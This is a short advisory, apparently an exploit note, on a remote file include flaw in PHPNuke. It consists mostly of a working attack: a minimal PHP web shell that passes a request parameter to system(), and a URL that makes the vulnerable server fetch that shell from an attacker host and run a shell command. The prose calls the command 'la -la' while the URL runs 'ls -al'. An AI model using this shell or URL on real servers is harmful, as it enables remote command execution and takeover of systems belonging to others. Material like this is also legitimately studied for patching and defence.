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PHPNuke Remote Arbitrary File Include Vulnerability

Create the following file on a remote server:

<?php
system($cmd);
?>

The following URL will include the malicious file and allow the attacker to execute the "la -la" command on the shell of the host running PHPNuke:

http://insecure-server/index.php?file=http://where.the.bad.php.file.is/evil.php&cmd=ls%20-al